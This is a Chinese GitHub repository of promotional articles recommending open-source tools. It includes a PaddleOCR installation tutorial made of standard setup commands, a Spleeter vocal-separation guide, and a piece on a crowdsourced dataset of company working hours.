├── README.md ├── contents ├── 2021-10-28-免费的OCR识别工具就是香.md ├── 2021_10_12_audios │ ├── qlzw_accompaniment.wav │ ├── qlzw_clip.mp3 │ └── qlzw_vocals.wav ├── 2021_10_12_这款开源神器将人声伴奏完美分离,厉害了!.md ├── 2021_10_13_ 996.icu只是听说过?这个项目让你亲眼见证,非常壮观!.md ├── 2021_10_19_5.6k+star的Flutter神器!超棒的原生混合框架!.md ├── 2021_10_21_别再用BeanUtils转换对象啦!这个框架更快更强大!!.md ├── 2021_10_26_大厂热数据探测开源项目不能错过!.md ├── 2021_11_02_任务调度平台只会Quartz?让本小妹来带你飞~.md ├── 2021_11_04_基于 Netty 的即时消息通信框架,给你带来全新的沉浸式体验.md ├── 2021_11_09_访问GitHub还在转圈圈吗?快上车!让你加速到飞起!.md ├── 2021_11_11_谁说只有Python才能写爬虫了?Javaer转身甩出这个框架:给爷爬!.md ├── 2021_11_29_还在重复造轮子?试试这个java工具类.md ├── 2021_12_02_无代码爬虫,真香.md ├── 2021_12_06_干掉「卧槽」,就用她了!.md ├── 2021_12_07_全自动生成!让你和接口文档说拜拜!!.md ├── 2021_12_07_大风起兮云飞扬,看我这床强不强!.md ├── 2021_12_11_见证历史了.md ├── 2021_12_13_呀,系统坏了,咋办?.md └── 2022-01-27-过年神器,避免偶遇,只能尴尬一笑~~.md ├── files └── Netty.emmx ├── opensourceproject └── projectList.md ├── resources └── PicGo-Setup-2.3.0-x64.exe └── we_logo.jpg /README.md: -------------------------------------------------------------------------------- 1 | # open-daily 2 | 3 | # 简介 4 | 5 | 专注分享 Github、Gitee 上知名的 Java、Python、前端、后端、Web、AI、架构、虚拟化等多个领域的优质学习资源、开源项目。 6 | 7 | # 内容 8 | 9 | 关注公众号 `开源小分队` 获得更好阅读体验! 10 | 11 | ![](https://gitee.com/sourceteam/blog-source/raw/master/images/logo/202203032101383.jpg) 12 | 13 | [1、这款开源神器将人声伴奏完美分离,厉害了!](https://github.com/ourceteams/open-daily/blob/main/contents/2021_10_12_%E8%BF%99%E6%AC%BE%E5%BC%80%E6%BA%90%E7%A5%9E%E5%99%A8%E5%B0%86%E4%BA%BA%E5%A3%B0%E4%BC%B4%E5%A5%8F%E5%AE%8C%E7%BE%8E%E5%88%86%E7%A6%BB%EF%BC%8C%E5%8E%89%E5%AE%B3%E4%BA%86%EF%BC%81.md) 14 | 15 | [2、996.icu 只是听说过?这个项目让你亲眼见证,非常壮观!](https://github.com/ourceteams/open-daily/blob/main/contents/2021_10_13_%20996.icu%E5%8F%AA%E6%98%AF%E5%90%AC%E8%AF%B4%E8%BF%87%EF%BC%9F%E8%BF%99%E4%B8%AA%E9%A1%B9%E7%9B%AE%E8%AE%A9%E4%BD%A0%E4%BA%B2%E7%9C%BC%E8%A7%81%E8%AF%81%EF%BC%8C%E9%9D%9E%E5%B8%B8%E5%A3%AE%E8%A7%82%EF%BC%81.md) 16 | 17 | [3、5.6k+star 的 Flutter 神器!超棒的原生混合框架!](https://github.com/ourceteams/open-daily/blob/main/contents/2021_10_19_5.6k+star%E7%9A%84Flutter%E7%A5%9E%E5%99%A8%EF%BC%81%E8%B6%85%E6%A3%92%E7%9A%84%E5%8E%9F%E7%94%9F%E6%B7%B7%E5%90%88%E6%A1%86%E6%9E%B6%EF%BC%81.md) 18 | 19 | [4、别再用 BeanUtils 转换对象啦!这个框架更快更强大!!](https://github.com/ourceteams/open-daily/blob/main/contents/2021_10_21_%E5%88%AB%E5%86%8D%E7%94%A8BeanUtils%E8%BD%AC%E6%8D%A2%E5%AF%B9%E8%B1%A1%E5%95%A6%EF%BC%81%E8%BF%99%E4%B8%AA%E6%A1%86%E6%9E%B6%E6%9B%B4%E5%BF%AB%E6%9B%B4%E5%BC%BA%E5%A4%A7%EF%BC%81%EF%BC%81.md) 20 | 21 | [5、大厂热数据探测开源项目不能错过!](https://github.com/ourceteams/open-daily/blob/main/contents/2021_10_26_%E5%A4%A7%E5%8E%82%E7%83%AD%E6%95%B0%E6%8D%AE%E6%8E%A2%E6%B5%8B%E5%BC%80%E6%BA%90%E9%A1%B9%E7%9B%AE%E4%B8%8D%E8%83%BD%E9%94%99%E8%BF%87!.md) 22 | 23 | [6、免费的 OCR 识别工具就是香!](https://github.com/ourceteams/open-daily/blob/main/contents/2021-10-28-%E5%85%8D%E8%B4%B9%E7%9A%84OCR%E8%AF%86%E5%88%AB%E5%B7%A5%E5%85%B7%E5%B0%B1%E6%98%AF%E9%A6%99.md) 24 | 25 | [7、任务调度平台只会 Quartz?让本小妹来带你飞~](https://github.com/ourceteams/open-daily/blob/main/contents/2021_11_02_%E4%BB%BB%E5%8A%A1%E8%B0%83%E5%BA%A6%E5%B9%B3%E5%8F%B0%E5%8F%AA%E4%BC%9AQuartz%EF%BC%9F%E8%AE%A9%E6%9C%AC%E5%B0%8F%E5%A6%B9%E6%9D%A5%E5%B8%A6%E4%BD%A0%E9%A3%9E%7E.md) 26 | 27 | [8、基于 Netty 的即时消息通信框架,给你带来全新的沉浸式体验](https://github.com/ourceteams/open-daily/blob/main/contents/2021_11_04_%E5%9F%BA%E4%BA%8E%20Netty%20%E7%9A%84%E5%8D%B3%E6%97%B6%E6%B6%88%E6%81%AF%E9%80%9A%E4%BF%A1%E6%A1%86%E6%9E%B6%EF%BC%8C%E7%BB%99%E4%BD%A0%E5%B8%A6%E6%9D%A5%E5%85%A8%E6%96%B0%E7%9A%84%E6%B2%89%E6%B5%B8%E5%BC%8F%E4%BD%93%E9%AA%8C.md) 28 | 29 | [9、访问 GitHub 还在转圈圈吗?快上车!让你加速到飞起!](https://github.com/ourceteams/open-daily/blob/main/contents/2021_11_09_访问GitHub还在转圈圈吗?快上车!让你加速到飞起!.md) 30 | 31 | [10、谁说只有 Python 才能写爬虫了?Javaer 转身甩出这个框架:给爷爬!](https://github.com/ourceteams/open-daily/blob/main/contents/2021_11_11_谁说只有Python才能写爬虫了?Javaer转身甩出这个框架:给爷爬!.md) 32 | 33 | [11、还在重复造轮子?试试这个 java 工具类](https://github.com/ourceteams/open-daily/blob/main/contents/2021_11_29_还在重复造轮子?试试这个java工具类.md) 34 | 35 | [12、无代码爬虫,真香](https://github.com/ourceteams/open-daily/blob/main/contents/2021_12_02_无代码爬虫,真香.md) 36 | 37 | [13、干掉「卧槽」,就用她了!](https://github.com/ourceteams/open-daily/blob/main/contents/2021_12_06_干掉「卧槽」,就用她了!.md) 38 | 39 | [14、全自动生成!让你和接口文档说拜拜!!](https://github.com/ourceteams/open-daily/blob/main/contents/2021_12_07_全自动生成!让你和接口文档说拜拜!!.md) 40 | 41 | [15、呀,系统坏了,咋办?](https://github.com/ourceteams/open-daily/blob/main/contents/2021_12_13_呀,系统坏了,咋办?.md) 42 | 43 | [16、大风起兮云飞扬,看我这床强不强!](https://github.com/ourceteams/open-daily/blob/main/contents/2021_12_07_大风起兮云飞扬,看我这床强不强!.md) 44 | 45 | [17、见证历史了。。。](https://github.com/ourceteams/open-daily/blob/main/contents/2021_12_11_见证历史了.md) 46 | 47 | [18、再也不用担心被和谐了!](https://mp.weixin.qq.com/s/3PDXB_irO2-tlaKDoAo6mg) 48 | 49 | [19、又一款「所见即所得」的优秀 Markdown 编辑器](https://mp.weixin.qq.com/s/cns8yw5HGA2MnS_2D9ET0A) 50 | 51 | [20、最好用的下载视频工具,不接受反驳](https://mp.weixin.qq.com/s/1ReHFOt_KEiFOMlcxdEt2A) 52 | 53 | [21、11 月开源项目精华都在这里啦~](https://mp.weixin.qq.com/s/qHcLFB93suOFV391lXfR-g) 54 | 55 | [22、GitHub 上最大的算法开源库,确定不了解?](https://mp.weixin.qq.com/s/COATHVf42AZzNJpumF34Ow) 56 | 57 | [23、不到 300K 的 GIF 图片处理神器,厉害!](https://mp.weixin.qq.com/s/YPzCQl1a9UoiCTajEYtgiQ) 58 | 59 | [24、解锁网易云音乐,这个项目牛了~~](https://mp.weixin.qq.com/s/XP26Svw2-PP-z3Pb04c3kg) 60 | 61 | [25、过年神器,避免偶遇,只能尴尬一笑~~](https://github.com/ourceteams/open-daily/blob/main/contents/2022-01-27-过年神器,避免偶遇,只能尴尬一笑~~.md) 62 | 63 | [26、实时应用监控平台,你值得拥有!](https://mp.weixin.qq.com/s/ufJL-kz7ufeCphXEXioJ8w) 64 | 65 | [27、超酷!一键绘制你爱的城市的地图](https://mp.weixin.qq.com/s/ukbYhJnG4GyO0o5AzRoWQA) 66 | 67 | [28、别羡慕 Win10 的摸鱼应用,Mac 也有摸鱼神器!](https://mp.weixin.qq.com/s/k2SrUifeTkenJoVp3xvJpA) 68 | 69 | [29、12 月开源项目精华都在这里啦~](https://mp.weixin.qq.com/s/74aTxLMrtwkFbxhw0s3tXQ) 70 | 71 | [30、2022 年 1 月开源项目精华都在这里啦~](https://mp.weixin.qq.com/s/ktsKeeUjFQqpakx_mVLVfQ) 72 | 73 | [31、这款开源博客从部署到访问只要 300 秒?我不信!](https://mp.weixin.qq.com/s/7JzJszyiTSK7vEq3YqNpxQ) 74 | 75 | [32、关于命令行的一切,都在这篇 101k Star 的文档里了](https://mp.weixin.qq.com/s/ZxZ8TN6WYIWAMaUTqSVbpQ) 76 | 77 | [33、雷军写的代码像诗一样优雅,我有最全中文诗歌古典文集数据库](https://mp.weixin.qq.com/s/FXmqIWRNd2ttSkCEeiBkSw) 78 | 79 | [34、保护电脑私密资源,隐藏你的小秘密](https://mp.weixin.qq.com/s/q_DRADJfK7EUbt96UL22CQ) 80 | 81 | [35、别再问我用什么画图了,精美的开源手绘风白板应用介绍给你!](https://mp.weixin.qq.com/s/29GwKmdbOWkQbcL56OtLVw) 82 | 83 | [36、这款 8W Fork 的即时通讯(IM)项目,让你轻松打造自己的聊天 App!](https://mp.weixin.qq.com/s/i8eWDbVhAW1Z0thG3hSscQ) 84 | 85 | [37、拒绝充钱提速,快来搭建自己的网络云盘吧!!](https://mp.weixin.qq.com/s/aigC3Q-okPWE30yWbVAyxg) 86 | 87 | [38、变量命名也有专门的网站。。。孤陋寡闻了拒绝充钱提速,快来搭建自己的网络云盘吧!!](https://mp.weixin.qq.com/s/p29O-qvCYzNBLpprB3qyDg) 88 | 89 | [39、直接在浏览器里聊天,这个开源项目太有意思了!](https://mp.weixin.qq.com/s/36_ftrPeYMW1GEVabCyGmw) 90 | 91 | [40、82 张思维导图,这个厉害项目,必须收藏!](https://mp.weixin.qq.com/s/ymQMvYovxebjDPqRKyRBnQ) 92 | 93 | [41、各位卷王你确定不进来看看?](https://mp.weixin.qq.com/s/rp-D0pXJpr1-Ig08yqeFhQ) 94 | 95 | [42、头像七十二变变变!](https://mp.weixin.qq.com/s/i7RRSQSCI8L_0exd9q53tg) 96 | 97 | [43、我在学外语,你们都出去!](https://mp.weixin.qq.com/s/wT9Xcb1wra7clVe7NW6gug) 98 | 99 | [44、封神之作,良心的开源游戏开发平台](https://mp.weixin.qq.com/s/F-wzMSWf5_mmKv1mfB-QmA) 100 | 101 | [45、再见 Xshell!这个开源的终端工具更酷炫!](https://mp.weixin.qq.com/s/UtN8XXyNydR7f5nR2TVn_w) 102 | 103 | [46、变量命名也有专门的网站。。。孤陋寡闻了](https://mp.weixin.qq.com/s/p29O-qvCYzNBLpprB3qyDg) 104 | 105 | [47、这个插件让你不再苦恼如何写 Git Commit Message](https://mp.weixin.qq.com/s/ZlNsHIcRnlq8rO0F8vIy2A) 106 | 107 | [48、连接 WiFi 还要输密码?来扫一扫我的小卡片儿吧](https://mp.weixin.qq.com/s/IqkPdTqzwmaYH3LJHfDNYg) 108 | 109 | [49、你不会不想有一个自己的 B 站吧?](https://mp.weixin.qq.com/s/3ph3XwC9YAAttKjjiVrtSQ) 110 | 111 | [50、2022 年 2 月开源项目精华都在这里啦~](https://mp.weixin.qq.com/s/Jid2cZO0ixNtObwmU5yQfg) 112 | 113 | [51、谁是最好用的 Redis 客户端?](https://mp.weixin.qq.com/s/kljly0Dz0xl81QHhDqdjFA) 114 | 115 | [52、听说在这里可以重开人生?](https://mp.weixin.qq.com/s/nXWs76T_tGyIaPJimOb-6w) 116 | -------------------------------------------------------------------------------- /contents/2021-10-28-免费的OCR识别工具就是香.md: -------------------------------------------------------------------------------- 1 | 哈喽,大家好,我是爱撸码的开源大叔! 2 | 3 | 经常在网上查询文档资料的朋友一定有过这样的经历:好不容易找到了需要的内容,可是别说下载了,连复制一句话都不给复制的。尤其是 PDF 文档和图片类资料,就算我们充值下载到本地,很多也无法复制文本,只能手动敲出来。 4 | 5 | ![](https://server.xmyeditor.com/picture/25/b10351dc605f63cc6a6a328e0775f775.jpg) 6 | 7 | 项目中有些场景也需要图片识别,比如识别证件、证照等等。 8 | 9 | 下面分享一款电脑端的 OCR 文字识别软件——**「PaddleOCR」**,可以帮助我们解决这一问题。 10 | 11 | PaddleOCR旨在打造一套丰富、领先、且实用的OCR工具库,助力使用者训练出更好的模型,并应用落地。 12 | 13 | ### 特性 14 | 15 | - 丰富易用的OCR相关工具组件 16 | - 半自动数据标注工具PPOCRLabel:支持快速高效的数据标注 17 | - 数据合成工具Style-Text:批量合成大量与目标场景类似的图像 18 | - 支持用户自定义训练,提供丰富的预测推理部署方案 19 | - 支持PIP快速安装使用 20 | - 可运行于Linux、Windows、MacOS等多种系统 21 | - 支持多语言OCR模型 22 | - 支持中英文数字组合识别、竖排文本识别、长文本识别 23 | 24 | ### 效果展示 25 | 26 | 27 | 28 | ![](https://pic3.zhimg.com/80/v2-994aa157a2f2622b9ba8a7ac0dc08f67_720w.png) 29 | 30 | ![](https://pic3.zhimg.com/80/v2-6e90f145c99ed10711beb6eee61ddab9_720w.png) 31 | 32 | 不需要安装任何工具,可以直接在pc端进行图片识别,喜欢python的同学,可以按照下面的安装教程部署。 33 | 34 | ![](https://pica.zhimg.com/80/v2-c2b78b8925aeec9652b65423bd79b2e4_720w.png) 35 | 36 | 37 | 38 | ### 模型列表 39 | 40 | | 模型简介 | 模型名称 | 推荐场景 | 检测模型 | 方向分类器 | 识别模型 | 41 | | --------------------------- | ----------------------- | --------------- | --------------------- | --------------------- | --------------------- | 42 | | 中英文超轻量OCR模型(9.4M) | ch_ppocr_mobile_v2.0_xx | 移动端&服务器端 | 推理模型/ 预训练模型] | 推理模型 / 预训练模型 | 推理模型/ 预训练模型 | 43 | | 中英文通用OCR模型(143.4M) | ch_ppocr_server_v2.0_xx | 服务器端 | 推理模型/ 预训练模型 | 推理模型/ 预训练模型 | 推理模型 / 预训练模型 | 44 | 45 | 还有更多模型,这里不全列举了,感兴趣同学可以去官网阅读学习。 46 | 47 | ### 通用中英文OCR数据集 48 | 49 | - ICDAR2019-LSVT 50 | - ICDAR2017-RCTW-17 51 | - 中文街景文字识别 52 | - 中文文档文字识别 53 | - ICDAR2019-ArT 54 | 55 | ### PP-OCR Pipeline 56 | 57 | PP-OCR是一个实用的超轻量OCR系统。主要由DB文本检测[2]、检测框矫正和CRNN文本识别三部分组成[7]。该系统从骨干网络选择和调整、预测头部的设计、数据增强、学习率变换策略、正则化参数选择、预训练模型使用以及模型自动裁剪量化8个方面,采用19个有效策略,对各个模块的模型进行效果调优和瘦身,最终得到整体大小为3.5M的超轻量中英文OCR和2.8M的英文数字OCR。 58 | 59 | ### 安装教程 60 | 61 | 1、安装python3 62 | 63 | ```ruby 64 | #下载软件包 65 | wget https://www.python.org/ftp/python/3.6.8/Python-3.6.8.tgz 66 | #解压 67 | tar -zxvf Python-3.6.8.tgz 68 | cd Python-3.6.8 69 | #编译 70 | ./configure 71 | #安装 72 | make 73 | make install 74 | #创建软连接 75 | ln -s /usr/local/python3/bin/python3 /usr/bin/python3 76 | #查看版本 77 | python3 -V 78 | ``` 79 | 80 | 在安装过程中如果出现configure: error: no acceptable C compiler found in $PATH,是缺少合适的编译器 81 | 82 | ``` 83 | sudo yum install gcc-c++ 84 | ``` 85 | 86 | 出现这个问题zipimport.ZipImportError: can't decompress data; zlib not available,缺少依赖包 87 | 88 | ```python 89 | yum -y install zlib* 90 | ``` 91 | 92 | 2、安装PaddlePaddle2.0 93 | 94 | ``` 95 | pip3 install --upgrade pip 96 | python3 -m pip install paddlepaddle==2.0.0 -i https://mirror.baidu.com/pypi/simple 97 | ``` 98 | 99 | 3、克隆代码 100 | 101 | ``` 102 | git clone https://gitee.com/paddlepaddle/PaddleOCR 103 | ``` 104 | 105 | 4、安装PaddleOCR 第三方依赖包 106 | 107 | ``` 108 | cd PaddleOCR 109 | #安装第三方依赖项 110 | pip3 install -r requirements.txt 111 | ``` 112 | 113 | 5、模型下载 114 | 115 | ``` 116 | mkdir inference && cd inference 117 | # 下载检测模型并解压 118 | wget https://paddleocr.bj.bcebos.com/dygraph_v2.0/ch/ch_ppocr_mobile_v2.0_det_infer.tar&& tar xf ch_ppocr_mobile_v2.0_det_infer.tar 119 | # 下载方向分类器模型并解压 120 | wget https://paddleocr.bj.bcebos.com/dygraph_v2.0/ch/ch_ppocr_mobile_v2.0_cls_infer.tar && tar xf ch_ppocr_mobile_v2.0_cls_infer.tar 121 | #下载文本方向分类器病解压 122 | wget https://paddleocr.bj.bcebos.com/dygraph_v2.0/ch/ch_ppocr_mobile_v2.0_rec_infer.tar && tar xf ch_ppocr_mobile_v2.0_rec_infer.tar 123 | ``` 124 | 125 | 6、识别图片 126 | 127 | ``` 128 | #识别单张图片 129 | python3 tools/infer/predict_system.py --image_dir="992822f810dc3cbbdcca711a1c4b0097.jpg" --det_model_dir="./inference/ch_ppocr_mobile_v2.0_det_infer/" --rec_model_dir="./inference/ch_ppocr_mobile_v2.0_rec_infer/" --cls_model_dir="./inference/ch_ppocr_mobile_v2.0_cls_infer/" --use_angle_cls=True --use_space_char=True 130 | 131 | image_dir:源文件目录 det_model_dir:识别后存放的文件目录 132 | ``` 133 | 134 | 如果报错ModuleNotFoundError: No module named 'cv2',缺少cv2 135 | 136 | ```bash 137 | # 安装pip3 138 | wget https://pypi.python.org/packages/source/p/pip/pip-18.1.tar.gz 139 | # 解压 140 | tar -zxvf pip-18.1.tar.gz 141 | # 安装 142 | cd pip-18.1 143 | python3 setup.py build 144 | python3 setup.py install 145 | # 添加到软连接 146 | ln -s /usr/local/python3/bin/pip3 /usr/bin/pip3 147 | 148 | pip install opencv-python 149 | ``` 150 | 151 | 如果出现pip is configured with locations that require TLS/SSL, however the..不可用的解决方法 152 | 153 | ``` 154 | yum install openssl-devel -y 155 | cd Python-3.6.8 156 | ./configure --with-ssl 157 | make 158 | sudo make install 159 | 160 | ``` 161 | 162 | 在识别图像时候报错的一些解决方案 163 | 164 | ``` 165 | #深度学习 166 | pip install paddlepaddle -i https://pypi.tuna.tsinghua.edu.cn/simple 167 | # ModuleNotFoundError: No module named 'PIL' 168 | pip install pillow 169 | # MODULENOTFOUNDERROR: NO MODULE NAMED 'PADDLE' 170 | pip install paddlehub==1.6.0 -i https://pypi.tuna.tsinghua.edu.cn/simple 171 | #No module named 'imgaug' 172 | pip install git+https://github.com/aleju/imgaug 173 | ``` 174 | 175 | 176 | 177 | ps:Paddle-OCR也可以部署在Windows系统中。 178 | 179 | ``` 180 | pip3 install --upgrade pip 181 | 182 | python3 -m pip install paddlepaddle==2.0.0 -i https://mirror.baidu.com/pypi/simple 183 | git clone https://github.com/PaddlePaddle/PaddleOCR 184 | #在PaddleOCR目录下 185 | pip3 install -r requirements.txt 186 | 187 | ``` 188 | 189 | 190 | 191 | ### 总结 192 | 193 | Paddle-OCR 属于Paddle 框架其中的一个应用,提供了很多好玩的模型,支持多种语言的数据集,关键是提供了轻量级模型,降低了使用难度。 194 | 195 | 听了大叔的介绍,各位小伙伴有没有心动?心动不如行动,赶紧去公众号后台回复「**OCR**」,获取开源项目的地址吧~~~ 196 | -------------------------------------------------------------------------------- /contents/2021_10_12_audios/qlzw_accompaniment.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ourceteams/open-daily/5d35020dde9e54a187ee84bea2c1de2f10d90fcd/contents/2021_10_12_audios/qlzw_accompaniment.wav -------------------------------------------------------------------------------- /contents/2021_10_12_audios/qlzw_clip.mp3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ourceteams/open-daily/5d35020dde9e54a187ee84bea2c1de2f10d90fcd/contents/2021_10_12_audios/qlzw_clip.mp3 -------------------------------------------------------------------------------- /contents/2021_10_12_audios/qlzw_vocals.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ourceteams/open-daily/5d35020dde9e54a187ee84bea2c1de2f10d90fcd/contents/2021_10_12_audios/qlzw_vocals.wav -------------------------------------------------------------------------------- /contents/2021_10_12_这款开源神器将人声伴奏完美分离,厉害了!.md: -------------------------------------------------------------------------------- 1 | 2 | 大家好,我是爱撸码的开源大叔! 3 | 4 | 在剪辑视频的过程中,你是否遇到过这样的困难:想使用原视频中单独的一段人声,但原视频所带有的背景音乐又会大大降低视听效果。 5 | 6 | 而要将`人声和伴奏分离`,这个显然不是一件容易的事。 7 | 8 | 今天就给大家推荐 Github 上一款开源工具,非常的强大,是大叔目前见到的做得最好的**音频分离软件**了,用来**提取伴奏和人声效果**特别好。借助这个工具,我们普通人就可以实现一键快速将人声和伴奏分离。 9 | 10 | 伙伴们可以先试听一下,这个是准备需要分离的音乐《千里之外》的片段 11 | 12 | 13 | 14 | 15 | 这个是分离后提取的人声 16 | 17 | 18 | 19 | 提取的背景音 20 | 21 | 22 | 23 | 怎么样,是不是效果非常的棒? 24 | 25 | 下面来详细介绍一下这个工具 - **Spleeter** 26 | 27 | 28 | ## Spleeter 是什么 29 | 这是来自法国的音乐流媒体公司 Deezer 开源的一个音轨分离软件 spleeter,只需输入一段命令就可以将音乐的人声和各种乐器声分离,支持 mp3、wav、ogg 等常见音频格式。 30 | 31 | ![](https://gitee.com/eternalpal/images-bed/raw/master/img_20211012/logo.jpg) 32 | 33 | 34 | 该项目由 Python 作为主要语言编写,并且使用了 TensorFlow 来进行模型训练。 35 | 36 | 诸如知名的专业处理音频软件 iZotope、SpectralLayers、Acon Digital、VirtualDJ、Algoriddim 等使用的就是 spleeter 的训练模型,足足可见该项目的分量。 37 | 38 | ![](https://gitee.com/eternalpal/images-bed/raw/master/img_20211012/图片.png) 39 | 40 | 有网友说自己曾经试过无数类似软件,spleeter 是最好用的一个。 41 | 42 | 因为用 python 编写的,故 windows/linux/macOS 等多平台理论上都是可以使用的。 43 | 44 | 但是在本地完全安装好软件、各种 python 库、依赖等等,也需要花费一些时间,后续有时间会分享一下在本地安装配置的方法过程。 45 | 46 | 这里大叔推荐使用下面的两个方法,可以快速的上手体验。 47 | 48 | ### 方法1:安装 spleeterGUI 图形界面软件 49 | 50 | spleeterGUI 是网上 Chris 大神基于 spleeter 这个项目,进行深入开发的适用于 windows 平台的图形化界面软件。**(下载地址见文末)** 51 | 52 | 53 | 软件直接下载下来安装就可以使用,界面简洁明了,非常的友好。 54 | 55 | ![](https://gitee.com/eternalpal/images-bed/raw/master/img_20211012/图片6.jpg) 56 | 57 | 软件下载下来,一路点击下一步即可,没什么好说的。 58 | 59 | 打开软件,界面如下,如果不习惯英文也可切换为中文(其实也无所谓了,就那么几个单词而已)。 60 | 61 | ![](https://gitee.com/eternalpal/images-bed/raw/master/img_20211012/图片7.jpg) 62 | 63 | ![](https://gitee.com/eternalpal/images-bed/raw/master/img_20211012/图片8.jpg) 64 | 65 | 66 | 选择 parts to separate(分离声部,一般就是2),设置好文件保存路径(save to),选择需要分离的音频文件(或者直接将文件拖入进去,支持多个音频文件),即可快速导出! 67 | 68 | 69 | ![](https://gitee.com/eternalpal/images-bed/raw/master/img_20211012/图片9.jpg) 70 | 71 | 72 | 完成之后,每个音频都会导出到单独一个文件夹内,里面有两个无损格式音频文件; 73 | 74 | ![](https://gitee.com/eternalpal/images-bed/raw/master/img_20211012/图片10.jpg) 75 | 76 | 77 | accompaniment.wav为伴奏,vocals.wav为人声 78 | 79 | 80 | ### 方法2:在线使用 Google Colab 81 | 82 | 这个是官方给出的方法。如果你有科学上网的梯子和谷歌账号,那么这个可以直接在线使用。**(在线地址见文末)** 83 | 84 | 85 | ![](https://gitee.com/eternalpal/images-bed/raw/master/img_20211012/图片1.jpg) 86 | 87 | 88 | 这里预先写好了项目的整个代码,点击“代码执行程序”-“全部运行”,将所有的代码都运行一下。 89 | 90 | ![](https://gitee.com/eternalpal/images-bed/raw/master/img_20211012/图片2.jpg) 91 | 92 | 93 | 稍等片刻,程序会自动运行,安装各种依赖、库文件,并将一个预设的audio_example.mp3 音频文件进行人声、伴奏分离。 94 | 95 | ![](https://gitee.com/eternalpal/images-bed/raw/master/img_20211012/图片3.jpg) 96 | 97 | 98 | 如果我们要分离自己的音频文件,比如我准备了一个叫ppxhn.mp3的文件,点击左边的上传按钮即可将文件上传到云端。 99 | 100 | ![](https://gitee.com/eternalpal/images-bed/raw/master/img_20211012/图片4.jpg) 101 | 102 | 103 | 接着在右边新建一个代码块,照着上面的分离代码修改一下,再运行一遍。 104 | 105 | ``` 106 | spleeter separate -o output/ ppxhn.mp3 107 | ``` 108 | 稍等一会,就可以得到人声和伴奏的 MP3 文件了,觉得不错的话可以直接下载下来。 109 | 110 | ![](https://gitee.com/eternalpal/images-bed/raw/master/img_20211012/图片5.jpg) 111 | 112 | 113 | 这个方法对应小文件,临时想使用一下的话非常的方便,基本不需要花太多时间去安装和调试,上手也很快。 114 | 115 | 以上就是两个快速上手的方法,你是不是也有点心动了,赶紧搜索微信公众号“开源小分队”,后台回复「**分离**」获取开源项目及上述工具地址吧~ 116 | 117 | 问君能有几多愁,开源项目解千愁,我们下期再见! 118 | 119 | > 大家的点赞、收藏和评论对大叔非常重要,如文章对你有帮助还请转发支持下,谢谢! 120 | 121 | 122 | -------------------------------------------------------------------------------- /contents/2021_10_13_ 996.icu只是听说过?这个项目让你亲眼见证,非常壮观!.md: -------------------------------------------------------------------------------- 1 | 大家好,我是爱撸码的开源大叔! 2 | 3 | 大家对目前的工作作息时间都还满意吗? 4 | 5 | 可能会有很多同学在入职公司之前没有太多的渠道途径确定公司的具体工作时间,想想当初如果有的话,会不会是另外一番景象。 6 | 7 | 8 | ![](https://gitee.com/eternalpal/images-bed/raw/master/img/图片开头.jpg) 9 | 10 | 11 | 不过现在的同学有福了,最近github上有个项目为了解决大家的这个痛点,发起了一个`WorkingTime`的项目。 12 | 13 | 14 | ![](https://gitee.com/eternalpal/images-bed/raw/master/img/图片1.jpg) 15 | 16 | 该项目依托于全国各地同学们的奉献,致力于统计各大公司的作息时间,尽力为大家提供准确的参考。 17 | 18 | 目前已经有2k+条的公司作息等数据,并且数据在一直快速增长。大家热情都非常高啊~~~ 19 | 20 | 21 | ![](https://gitee.com/eternalpal/images-bed/raw/master/img/热情图.jpg) 22 | 23 | 24 | 公司主要以阿里、腾讯、字节、京东、华为、拼多多、快手、美团、滴滴等互联网大厂为主。 25 | 26 | 27 | ![](https://gitee.com/eternalpal/images-bed/raw/master/img/111.jpg) 28 | 29 | ![](https://gitee.com/eternalpal/images-bed/raw/master/img/222.jpg) 30 | 也有一些外企、政府部门、国企、医院,传统的银行、证券、制造业公司也是有的。 31 | 32 | 33 | ![](https://gitee.com/eternalpal/images-bed/raw/master/img/图片8-3-6.jpg) 34 | 35 | 36 | 统计的信息**包括上班、下班时间、午饭时间、晚饭时间、周三是否特殊 周五是否特殊、一周工作天数、新人是否日报/周报以及自由发挥的备注。** 37 | 38 | 39 | ![](https://gitee.com/eternalpal/images-bed/raw/master/img/图片10.jpg) 40 | 41 | 图片10 42 | 43 | 尤其是这个备注,非常有意思, 44 | 45 | ![](https://gitee.com/eternalpal/images-bed/raw/master/img/图片9.jpg) 46 | 47 | > 有说非常卷,非常累劝退的,也有说经常可以摸鱼(羡慕啊~~~) 48 | 49 | ![](https://gitee.com/eternalpal/images-bed/raw/master/img/图片7.jpg) 50 | 51 | > 有说食堂难吃的,有说要警惕XXX,有让新人打杂半年的传统 52 | 还有说暗号的,懂的都懂~~~ 老司机的我怎么还是不懂~~~汗 53 | 54 | 55 | 56 | 有这些信息在手,要考虑那个啥是不是太太方便了。 57 | 58 | 59 | **原来只是听说过996.icu,小范围实践过,这个项目就真的是让你亲眼见证整个国家的工作现状,非常壮观!** 60 | 61 | 62 | ![](https://gitee.com/eternalpal/images-bed/raw/master/img/图片12.jpg) 63 | 64 | 你可以在项目主页上进行实时数据的查看,也可以下载每日凌晨作者整理数据的总表以及每日的备份excel表。 65 | 66 | ![](https://gitee.com/eternalpal/images-bed/raw/master/img/图片11.jpg) 67 | 68 | 当然啦,如果你也让大家都知道你们公司的一些趣事的话,不妨可以点击“填写问卷匿名发布自己部门的作息时间”的链接,把你想传递的信息共享出去。 69 | 70 | 71 | 相互共享,相互成就,真的可以说是众人拾柴火焰高。 72 | 73 | 短短几天时间已经有2k+star,并在一直不断的快速增长当中。如果你感兴趣的话,关注公众号“开源小分队”,后台回复 74 | **“作息”** 获取项目地址关注一波哦~~~ 75 | 76 | 77 | 问君能有几多愁,开源项目解千愁,我们下期再见! 78 | 79 | > 大家的点赞、收藏和评论对大叔非常重要,如文章对你有帮助还请转发支持下,谢谢! -------------------------------------------------------------------------------- /contents/2021_10_19_5.6k+star的Flutter神器!超棒的原生混合框架!.md: -------------------------------------------------------------------------------- 1 | 大家好,我是可爱又机灵的开源小妹。 2 | 3 | 我们大魔头老板😈让我在 Flutter App 中加上实时通讯的原生功能,这几天光是想着如何混合 Flutter 工程和原生工程让我掉了不少头发`~~o(>_<)o ~~` 4 | 5 | ![](https://files.mdnice.com/user/21078/a1a28cdf-e395-4915-81ce-a8a7b3ba778c.png) 6 | 7 | 8 | 还好爱撸码的开源大叔给我推荐了一个开源项目解救了我,今天我也把它推荐给大家吧` (^▽^)` 9 | 10 | 